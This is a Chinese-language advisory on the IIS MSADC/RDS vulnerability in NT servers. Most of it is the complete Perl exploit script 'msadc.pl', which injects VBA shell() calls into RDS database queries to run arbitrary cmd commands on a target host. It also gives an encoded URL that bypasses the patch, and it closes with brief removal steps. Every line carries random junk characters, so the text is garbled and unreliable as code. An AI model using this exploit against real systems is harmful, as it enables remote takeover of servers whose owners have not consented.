IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
=: v>< ~|0F?~eR7 涉及程序:
T9U2j-lA? Microsoft NT server
E9Qd>o 3& fIO 描述:
/z.7:<gZ( 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
{8*d;[X50 'Z(MV& 详细:
Npf7 p 如果你没有时间读详细内容的话,就删除:
5* o\z&*L c:\Program Files\Common Files\System\Msadc\msadcs.dll
T?p`Y| gl 有关的安全问题就没有了。
yccuTQvz Wzf1-0t 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
t^bdi}[ S,)|~#5x 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
GWA!Ab'<U 关于利用ODBC远程漏洞的描述,请参看:
mv9E{m !txELA~24 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm N.Wdi ac+k 5K+ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
I[cV"BDa http://www.microsoft.com/security/bulletins/MS99-025faq.asp nDoiG#N0 }?Yr>ZRi 这里不再论述。
N8MlT \+r c|!A?>O? i 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
zvK5Zxl YKX>@)Dxv /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Wc`J`.#
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
bN7 UO DS,FVh".| Kt!IyIa;Ht #将下面这段保存为txt文件,然后: "perl -x 文件名"
5M\=+5wB A 4W #!perl
!7"K>m< #
5qtmb4R~ # MSADC/RDS 'usage' (aka exploit) script
,GXfy9x7U #
ZR01<V # by rain.forest.puppy
dbq{a #
k,*#I<($ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
L@k;L # beta test and find errors!
afP&+ 5t@O UmD-7Fd use Socket; use Getopt::Std;
D@4&@> getopts("e:vd:h:XR", \%args);
~b6<uRnM. kvgs $ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
cf[u%{
6Y $ DZQdhv if (!defined $args{h} && !defined $args{R}) {
v<J;S9u= print qq~
1uS>{M Usage: msadc.pl -h <host> { -d <delay> -X -v }
vX0I^8. -h <host> = host you want to scan (ip or domain)
eE riv@v -d <seconds> = delay between calls, default 1 second
g0:4zeL -X = dump Index Server path table, if available
]htZ!; 8J -v = verbose
>%p
m"+h{ -e = external dictionary file for step 5
5c}9
\#+2;L Or a -R will resume a command session
>*t>U8 ID)gq_k[8, ~; exit;}
-C'X4C+ r)#"$Sm $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
)`+@j.75 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
b\0Q: if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
.dKRIFo if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`2(R}zUHN $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
D"] [&m if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_l{5'm %}ApO{ if (!defined $args{R}){ $ret = &has_msadc;
EAd:`X,Y die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
=Z>V}`n Y7t{4P print "Please type the NT commandline you want to run (cmd /c assumed):\n"
hte9l) . "cmd /c ";
?'/5%f` $in=<STDIN>; chomp $in;
ox=7N{+`J $command="cmd /c " . $in ;
F)5B[.ce ~h^}W$pO if (defined $args{R}) {&load; exit;}
if!`Qid ~j&:)a'^
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,nChwEn &try_btcustmr;
7+!7]'V CpqSn/ print "\nStep 2: Trying to make our own DSN...";
$-9@ /%Y &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
S.F=$z.% `Ig2f$} print "\nStep 3: Trying known DSNs...";
5f*'wA &known_dsn;
yDyeP{ lQ<n
dt~ print "\nStep 4: Trying known .mdbs...";
Qhr]eu;z &known_mdb;
F3 l^^Mc ^.1VhTB if (defined $args{e}){
B{o\RNU print "\nStep 5: Trying dictionary of DSN names...";
-J7,Nw &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
c'#J{3d 6[|< print "Sorry Charley...maybe next time?\n";
,f0g|5yDf exit;
AB&wn>q ;{q) |GRF ##############################################################################
q>:&xR"ra E e\-q sub sendraw { # ripped and modded from whisker
)4_6\VaM sleep($delay); # it's a DoS on the server! At least on mine...
//5_E7Ehu$ my ($pstr)=@_;
w$;*~Qc socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Ufe die("Socket problems\n");
:9
iOuu if(connect(S,pack "SnA4x8",2,80,$target)){
+ZA\M:^b select(S); $|=1;
6BN(^y#-X print $pstr; my @in=<S>;
vgW1hWmHJ select(STDOUT); close(S);
Cz);mOb%M% return @in;
4Z~Dxo } else { die("Can't connect...\n"); }}
OZ14-}Lr5 U>-#(' ##############################################################################
;ld~21#m 2[&-y[1 sub make_header { # make the HTTP request
I;Fy
k70w; my $msadc=<<EOT
/>. X+N POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
D:vUy* User-Agent: ACTIVEDATA
P5xmLefng Host: $ip
$F()`L{Tj Content-Length: $clen
@bCiaBdi Connection: Keep-Alive
0#/
6P&6 tMBy
^@p ADCClientVersion:01.06
*^+xcG Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
H'\ EA(v+ bl>b/u7/6 --!ADM!ROX!YOUR!WORLD!
Cl.T'A$ Content-Type: application/x-varg
{5IG3' Content-Length: $reqlen
J$/BH\ wBHDof
xX EOT
[gdPHXs ; $msadc=~s/\n/\r\n/g;
zomNjy* return $msadc;}
'CO[s.03 u\geD ##############################################################################
\J:T] ~d `4W<1a sub make_req { # make the RDS request
;GT)sI my ($switch, $p1, $p2)=@_;
U@5Z9/n{ my $req=""; my $t1, $t2, $query, $dsn;
UYrzsUjg& C$ `Y[w if ($switch==1){ # this is the btcustmr.mdb query
3 DHA^9<q $query="Select * from Customers where City=" . make_shell();
N_Ld,J%g $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
OwIy(ukTI $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
N~J Eia% 8si^HEQ8 elsif ($switch==2){ # this is general make table query
~[y+B0I3 $query="create table AZZ (B int, C varchar(10))";
rPpAg $dsn="$p1";}
({nSs5)$ ;OJ0}\*iP8 elsif ($switch==3){ # this is general exploit table query
swq!Sp $query="select * from AZZ where C=" . make_shell();
fToI,FA $dsn="$p1";}
b e%*0lr W8h\ s { elsif ($switch==4){ # attempt to hork file info from index server
SfL`JNi) $query="select path from scope()";
6MNA.{Jdd $dsn="Provider=MSIDXS;";}
g2<S4 3(*s|V" elsif ($switch==5){ # bad query
.%Q Ea_\ $query="select";
,4W((OQ^ $dsn="$p1";}
pP,bW~rk HYmUxheN2 $t1= make_unicode($query);
Hll}8d6[ $t2= make_unicode($dsn);
Ht^2)~e~: $req = "\x02\x00\x03\x00";
Py]ci`27 $req.= "\x08\x00" . pack ("S1", length($t1));
c!^}!32j) $req.= "\x00\x00" . $t1 ;
\o)4m[oF $req.= "\x08\x00" . pack ("S1", length($t2));
mM{v>Em2K# $req.= "\x00\x00" . $t2 ;
~Fb?h%w $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
swL|Ff`$ return $req;}
k\%v;3nBK xF|*N<9(</ ##############################################################################
O9)}:++T I'b]s~u sub make_shell { # this makes the shell() statement
ymX,k|lh return "'|shell(\"$command\")|'";}
wR$8drn]Rq Ka\b_P& ##############################################################################
u*N8s[s' QXj(Urp sub make_unicode { # quick little function to convert to unicode
S5a<L_ my ($in)=@_; my $out;
qDd/wR,44 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
/mu4J|[[ return $out;}
E2kRt'~N G@!9)v]9 ##############################################################################
1^^D :tt Q 9<_:3 sub rdo_success { # checks for RDO return success (this is kludge)
>D62l*V C) my (@in) = @_; my $base=content_start(@in);
1tz .e\ if($in[$base]=~/multipart\/mixed/){
1u+(rVQN return 1 if( $in[$base+10]=~/^\x09\x00/ );}
fGWK&nONyk return 0;}
T["(YFCByg P[ 8N58# ##############################################################################
nn%xN\~< D~&e.y/gHN sub make_dsn { # this makes a DSN for us
/y|r iW my @drives=("c","d","e","f");
~GYtU9s5 print "\nMaking DSN: ";
5305N! foreach $drive (@drives) {
C
P{h+yCj print "$drive: ";
4:g:$s|SE[ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
}8#Czo jt "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
w/6@R 4)p . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
hAyPaS # $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
lIP<`6=4 return 0 if $2 eq "404"; # not found/doesn't exist
IuW10}"9 if($2 eq "200") {
(SA*9% foreach $line (@results) {
n5>N9lc return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Z"+!ayA7D } return 0;}
!#qB%E]a uZI a-b ##############################################################################
N&`ay{&`: ??V["o T sub verify_exists {
qDb}b d5 my ($page)=@_;
c%.&F my @results=sendraw("GET $page HTTP/1.0\n\n");
nB0ol-< return $results[0];}
'Sh5W%NM We?:DM
[ ##############################################################################
1tpD| [Cp{i<C sub try_btcustmr {
y8z%s/gRh my @drives=("c","d","e","f");
&}1)]6q$ my @dirs=("winnt","winnt35","winnt351","win","windows");
,$-PC=Ti( ht9b=1wd%s foreach $dir (@dirs) {
H]X)@n> print "$dir -> "; # fun status so you can see progress
EPy/6-5b foreach $drive (@drives) {
hGV/P94 print "$drive: "; # ditto
Q#KjX;No $reqlen=length( make_req(1,$drive,$dir) ) - 28;
4/>={4Y9 $reqlenlen=length( "$reqlen" );
lej{VcG $clen= 206 + $reqlenlen + $reqlen;
0{F.DDiNT ;xwQzu%M>5 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
{H2i+"cF if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Y\sjm]_ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
CV "Y40 HXI}f\6x ##############################################################################
tO3 ;;% 063;D+ sub odbc_error {
(Ln h> '2 my (@in)=@_; my $base;
]
),'=@ my $base = content_start(@in);
.vMi<U; if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{8RGW0Y $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%A3Jd4DH $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aa/9o] $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,qB081hPG return $in[$base+4].$in[$base+5].$in[$base+6];}
8F1!9W7 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
e_TDO print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
}}_l@5 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
&)-?=M H
#_Z6J ##############################################################################
7l3q~ dQ q=6Y2Q sub verbose {
7i.aZ2a% my ($in)=@_;
@jKB!z9{ return if !$verbose;
(.o'1' print STDOUT "\n$in\n";}
qa6~N3* +E4_^ ##############################################################################
6! 'Xo:p fZ$2bI= sub save {
Lt_]3go my ($p1, $p2, $p3, $p4)=@_;
Di*>PE@ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
6-"&jbvm print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
:xCobMs_/ close OUT;}
ny=iAZM>q -;}Wm[
##############################################################################
6EY4@0%A c&&UT-Z sub load {
#Gx@\BE{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&&O=v]6,V open(IN,"<rds.save") || die("Couldn't open rds.save\n");
2uVm?nm @p=<IN>; close(IN);
4a-wGx#h $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
.Ko`DH~!,C $target= inet_aton($ip) || die("inet_aton problems");
"Q1hP9xV print "Resuming to $ip ...";
s3J$+1M> $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
0P(}e[~Z if($p[1]==1) {
M_K&x-H0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
)f
Rh^6 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
5S LF1u; my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
zlE kP @) if (rdo_success(@results)){print "Success!\n";}
>pKI' else { print "failed\n"; verbose(odbc_error(@results));}}
Sf9+TW elsif ($p[1]==3){
#x21e }Li if(run_query("$p[3]")){
K-ebAaiC print "Success!\n";} else { print "failed\n"; }}
z61
o6mb elsif ($p[1]==4){
$G3P3y:
[ if(run_query($drvst . "$p[3]")){
h*LIS@&9C5 print "Success!\n"; } else { print "failed\n"; }}
} qTvUs exit;}
$`%.Y&A RS~oSoAE ##############################################################################
@kw=0 \#slZ;&s sub create_table {
[z\*Zg my ($in)=@_;
:[doYizk: $reqlen=length( make_req(2,$in,"") ) - 28;
lV8Mr6m $reqlenlen=length( "$reqlen" );
N5^:2ag $clen= 206 + $reqlenlen + $reqlen;
J3=jC5=J4 my @results=sendraw(make_header() . make_req(2,$in,""));
R)/w
return 1 if rdo_success(@results);
+dfSCs my $temp= odbc_error(@results); verbose($temp);
sC>8[Jatd return 1 if $temp=~/Table 'AZZ' already exists/;
i+}M#Y-O return 0;}
("Zi,3"+ -IE;5f#e ##############################################################################
d9s"y?8
n" sGI sub known_dsn {
<d4^gAfs* # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
*d(Dk*( my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ScEM#9T | "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Z_%>yqDC "banner", "banners", "ads", "ADCDemo", "ADCTest");
H,'c& ]P.S5s' foreach $dSn (@dsns) {
*h UrE print ".";
8QU`SoS9 next if (!is_access("DSN=$dSn"));
EOL03N if(create_table("DSN=$dSn")){
Jy9&=Qh print "$dSn successful\n";
rAWBuEU;! if(run_query("DSN=$dSn")){
i>;G4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9 wc=B(a| print "Something's borked. Use verbose next time\n";}}} print "\n";}
~F WmT(S y^ohns5{ ##############################################################################
AWw'pgTQX Lxl?6wZ sub is_access {
(U)=t$=o my ($in)=@_;
XIU2l}g $reqlen=length( make_req(5,$in,"") ) - 28;
lG2){){j $reqlenlen=length( "$reqlen" );
gb-n~m[y $clen= 206 + $reqlenlen + $reqlen;
n}2}4^ my @results=sendraw(make_header() . make_req(5,$in,""));
Rzp-Q5@MY my $temp= odbc_error(@results);
C4y<+G.` verbose($temp); return 1 if ($temp=~/Microsoft Access/);
pxgv(:Tw return 0;}
;k>{I8L~ FXbNmBXF ##############################################################################
D3eK!'qS Js'|N%pi sub run_query {
ipsNiFv: my ($in)=@_;
so;aN'{6@ $reqlen=length( make_req(3,$in,"") ) - 28;
di"*K*~y $reqlenlen=length( "$reqlen" );
<R2bz1!h. $clen= 206 + $reqlenlen + $reqlen;
Epx.0TA= t my @results=sendraw(make_header() . make_req(3,$in,""));
t^q/'9Ai&J return 1 if rdo_success(@results);
epQ7@9,Q my $temp= odbc_error(@results); verbose($temp);
=uHTpHR return 0;}
@^%# ]x,: GE>&fG ##############################################################################
BJqM=<nQ Rcu/ @j{O sub known_mdb {
3 Tt8#B my @drives=("c","d","e","f","g");
h-<+Pj c my @dirs=("winnt","winnt35","winnt351","win","windows");
JWLQ9UX my $dir, $drive, $mdb;
EM"YjC)F my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
U@H SU%H 5'X.Z: # this is sparse, because I don't know of many
!O*\|7A( my @sysmdbs=( "\\catroot\\icatalog.mdb",
oC[$PPqX# "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
{&xKSWNc "\\system32\\certmdb.mdb",
.2`S07Z "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
X"yLo8y8$ (i { my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
J5429Soo "\\cfusion\\cfapps\\forums\\forums_.mdb",
a4c~ThbI "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
vuHqOAFNs "\\cfusion\\cfapps\\security\\realm_.mdb",
v=!]t=P)t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
lOql(ZH`w "\\cfusion\\database\\cfexamples.mdb",
u\50,N9Wp{ "\\cfusion\\database\\cfsnippets.mdb",
-e30! A "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
)nQ.6 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
cO'
\s "\\cfusion\\brighttiger\\database\\cleam.mdb",
fxjs"rD5 "\\cfusion\\database\\smpolicy.mdb",
%{axoGd "\\cfusion\\database\cypress.mdb",
WUKYwA/t "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
ri6_u;Ch "\\website\\cgi-win\\dbsample.mdb",
TeQpmhN "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
DvU(rr\p "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
EiSS_Lc ); #these are just
/.P*%'g foreach $drive (@drives) {
I
U/gYFT foreach $dir (@dirs){
Po% V%~ foreach $mdb (@sysmdbs) {
M*|x,K= U print ".";
b3W@{je if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
<yBZsSj print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
PC/Oo~Gx if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
q'[5h>Pa print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
4&}LYSZl } else { print "Something's borked. Use verbose next time\n"; }}}}}
G;MmD?VJ g H{yeN 5
foreach $drive (@drives) {
u[})|x*N foreach $mdb (@mdbs) {
FgLV>#)- print ".";
2]hQ56Yv3 if(create_table($drv . $drive . $dir . $mdb)){
I6~.sTl print "\n" . $drive . $dir . $mdb . " successful\n";
=
oQ-I if(run_query($drv . $drive . $dir . $mdb)){
Y`w+?}(M print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
_uID3N% } else { print "Something's borked. Use verbose next time\n"; }}}}
Ng2qu!F7 }
kU0e;r1 N nKT\ /}d ##############################################################################
l@%MS\{ YRqIC -_ sub hork_idx {
}O-|b#Q print "\nAttempting to dump Index Server tables...\n";
`J#(ffo- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
DR;rK[f $reqlen=length( make_req(4,"","") ) - 28;
hIE$u t + $reqlenlen=length( "$reqlen" );
abp]qvCV $clen= 206 + $reqlenlen + $reqlen;
P-.>vi^+ my @results=sendraw2(make_header() . make_req(4,"",""));
IOtSAf if (rdo_success(@results)){
q{ i9VJ] my $max=@results; my $c; my %d;
'gI q_t|^ for($c=19; $c<$max; $c++){
J4&d6[40 $results[$c]=~s/\x00//g;
*F[@lY\p $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Y xp.` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
?#da4W $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
LB1LQ0M $d{"$1$2"}="";}
EBc_RpC/Z foreach $c (keys %d){ print "$c\n"; }
n=qN@u;Fi# } else {print "Index server doesn't seem to be installed.\n"; }}
c 2t<WRG F
jsnFX; ##############################################################################
K-vG5t0$\/ ~PAF2 sub dsn_dict {
F%M4i`Vh open(IN, "<$args{e}") || die("Can't open external dictionary\n");
0]p!
Bscaf while(<IN>){
+uZ,}J $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=:Ahg
9 next if (!is_access("DSN=$dSn"));
,rc?,J1l if(create_table("DSN=$dSn")){
>>22:JI` print "$dSn successful\n";
/P { Zo if(run_query("DSN=$dSn")){
Xfo3fW)s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
YW9r'{(D(I print "Something's borked. Use verbose next time\n";}}}
2^RWGCEv print "\n"; close(IN);}
E0?R,+>&4 t+y$i@R: ##############################################################################
DO6Tz-%o #y;TSHx/ sub sendraw2 { # ripped and modded from whisker
,t?c=u\5 sleep($delay); # it's a DoS on the server! At least on mine...
4u0\|e@a my ($pstr)=@_;
G4O
$gg socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Zfwhg4G~ die("Socket problems\n");
}Rl^7h<! if(connect(S,pack "SnA4x8",2,80,$target)){
f+3ico]f@ print "Connected. Getting data";
~hiJOaCzM open(OUT,">raw.out"); my @in;
"wwAbU< select(S); $|=1; print $pstr;
t3LRmjL while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
n/]w! close(OUT); select(STDOUT); close(S); return @in;
y-C=_v_X } else { die("Can't connect...\n"); }}
*S _[8L" }MU}-6 ##############################################################################
B:5N Ia QEtf-xNn^ sub content_start { # this will take in the server headers
5~8FZ-x my (@in)=@_; my $c;
<=O/_Iu( for ($c=1;$c<500;$c++) {
sVzU> if($in[$c] =~/^\x0d\x0a/){
MX*T.TG8 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
0'm$hU} else { return $c+1; }}}
"!w$7|%T return -1;} # it should never get here actually
uO]^vP]fT V%|CCrR ##############################################################################
H| UGR~& Jeb"t1.$ sub funky {
I7=g8/JD my (@in)=@_; my $error=odbc_error(@in);
J]h$4" if($error=~/ADO could not find the specified provider/){
BeR7LV print "\nServer returned an ADO miscofiguration message\nAborting.\n";
dio<?6ZD9P exit;}
ioJ~k[T if($error=~/A Handler is required/){
xJcM1>cT> print "\nServer has custom handler filters (they most likely are patched)\n";
yW@0Q: exit;}
P
}BU7`8 if($error=~/specified Handler has denied Access/){
D6Q6yNE print "\nServer has custom handler filters (they most likely are patched)\n";
U<|hIv-& exit;}}
n8K FP =P}BAJ ##############################################################################
!<EQVqj6 bY@ S[ sub has_msadc {
\N|ma P my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'L k&iph my $base=content_start(@results);
V
eD<1< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
DTx!# [ return 0;}
F]qX} NT1"?Thx| ########################
7>@g)%", :6T8\W U=Hx&g 解决方案:
)8,) &F 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|0wHNRN_ 2、移除web 目录: /msadc